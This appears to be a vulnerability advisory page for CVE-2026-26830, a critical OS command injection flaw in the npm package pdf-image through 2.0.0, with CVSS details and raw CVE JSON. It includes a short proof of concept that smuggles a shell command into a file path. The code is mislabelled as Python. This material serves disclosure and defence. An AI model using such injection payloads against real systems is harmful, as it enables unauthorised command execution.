Security Vulnerability Report
中文
CVE-2026-26830 CVSS 9.8 CRITICAL

CVE-2026-26830

Published: 2026-03-25 15:16:39
Last Modified: 2026-04-02 20:13:30

Description

pdf-image (npm package) through version 2.0.0 allows OS command injection via the pdfFilePath parameter. The constructGetInfoCommand and constructConvertCommandForPage functions use util.format() to interpolate user-controlled file paths into shell command strings that are executed via child_process.exec()

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:pdf-image_project:pdf-image:*:*:*:*:*:node.js:*:* - VULNERABLE
pdf-image <= 2.0.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// PoC for CVE-2026-26830: pdf-image OS Command Injection const pdfImage = require('pdf-image'); // Malicious payload containing shell metacharacters // Example: Creating a file named 'pwned' in /tmp/ const maliciousFilePath = "test.pdf; touch /tmp/pwned; #"; try { // Initialize pdfImage with the malicious path const image = new pdfImage(maliciousFilePath); // The convertFile function triggers the vulnerable command execution image.convertFile().then(function (imagePaths) { console.log('Exploit successful. Check /tmp/pwned'); }).catch(function (err) { console.log('Error:', err); }); } catch (e) { console.log(e); }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-26830", "sourceIdentifier": "[email protected]", "published": "2026-03-25T15:16:38.620", "lastModified": "2026-04-02T20:13:29.837", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "pdf-image (npm package) through version 2.0.0 allows OS command injection via the pdfFilePath parameter. The constructGetInfoCommand and constructConvertCommandForPage functions use util.format() to interpolate user-controlled file paths into shell command strings that are executed via child_process.exec()"}, {"lang": "es", "value": "pdf-image (paquete npm) hasta la versión 2.0.0 permite la inyección de comandos del sistema operativo a través del parámetro pdfFilePath. Las funciones constructGetInfoCommand y constructConvertCommandForPage usan util.format() para interpolar rutas de archivo controladas por el usuario en cadenas de comandos de shell que se ejecutan a través de child_process.exec()."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pdf-image_project:pdf-image:*:*:*:*:*:node.js:*:*", "versionEndIncluding": "2.0.0", "matchCriteriaId": "AD829412-7894-4487-9AD2-D0D6457CCDDF"}]}]}], "references": [{"url": "https://github.com/mooz/node-pdf-image", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/zebbernCVE/CVE-2026-26830", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.npmjs.com/package/pdf-image", "source": "[email protected]", "tags": ["Product"]}]}}